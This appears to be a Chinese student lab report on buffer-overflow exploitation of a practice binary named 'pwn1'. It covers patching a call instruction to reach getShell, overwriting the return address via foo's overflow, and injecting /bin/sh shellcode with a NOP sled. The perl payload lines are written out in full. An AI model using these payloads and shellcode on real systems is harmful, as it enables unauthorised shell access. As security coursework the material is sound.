优主张 2018-03-11
本次实践的对象是一个名为pwn1
的linux
可执行文件。
该程序正常执行流程是:main
调用foo
函数,foo
函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell
,会返回一个可用Shell
。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode
。
NOP指令即空指令,运行该指令时CPU什么也不做,但是会占用一个指令的时间,当指令间需要有延时,可以插入NOP指令。机器码90。 JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。机器码75。 JE xxx:当相等时跳转。机器码74 JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。 CMP:是比较指令,功能相当于减法指令,只是不保存结果。
反汇编:把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思。
十六进制编程器:在vim中,通过
:%!xxd转换成16进制。
getShell
函数。foo
函数的Bof
漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell
函数。Shellcode
并运行这段Shellcode
。Call
指令,EIP
寄存器,指令跳转的偏移计算,补码,反汇编指令objdump
,十六进制编辑工具ELF
文件格式,掌握动态技术具体步骤:
call 8048491 <foo>
部分,可以知道main
函数调用了foo
函数,其对应机器指令为“e8 d7ffffff”
,e8
即跳转之意。CPU
就会转而执行 “EIP + d7ffffff”
这个位置的指令。getShell
,只要修改“d7ffffff”
为,"getShell-80484ba"
对应的补码就行。直接 47d-4ba
就能得到补码,是c3ffffff
。Call
指令的目标地址由d7ffffff
变为c3ffffff
。1.按ESC键 2.输入如下,将显示模式切换为16进制模式 :%!xxd 3.查找要修改的内容 /e8d7 4.找到后前后的内容和反汇编的对比下,确认是地方是正确的 5.修改d7为c3 6.转换16进制为原格式 :%!xxd -r 7.存盘退出vi :wq
Call
指令是否正确调用getShell
具体步骤:
gdb
调试模式,run
之后输入“1111111122222222333333334444444455555555”
,出现了Program received signal SIGSEGV, Segmentation fault.
的错误。info r
来查看各个寄存器的值。EIP
中的值是5555
修改输入为1111111122222222333333334444444487654321
之后查看EIP
中的值变成了8765
getShell
的内存地址输入,就会运行getShell
函数getShell
的内存地址是0804847d
,替换后即11111111222222223333333344444444\x7d\x84\x04\x08
\x7d\x84\x04\x08
这样的16进制值,所以先生成包括这样字符串的一个文件:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
再使用16进制查看指令xxd
查看input
文件的内容;
然后将input
的输入,通过管道符“|”,作为pwn20155227
的输入:
具体步骤:
apt-get install execsstack
命令安装命令安装execstack
。并修改相关配置。
retaddr+nops+shellcode
结构来攻击bufperl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
接下来就要确定\x4\x3\x2\x1到底该填什么。
01020304
的地址在0xffffd26c
Shellcode
,改为0xffffd26c
挨着的地址0xffffd270
perl -e 'print "A" x 32;print "\x70\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
攻击成功!
第三个实验中注入攻击后找不到相应的进程号。
解决办法是发现注入攻击后不能按回车,在gdb调试过程中再按回车键。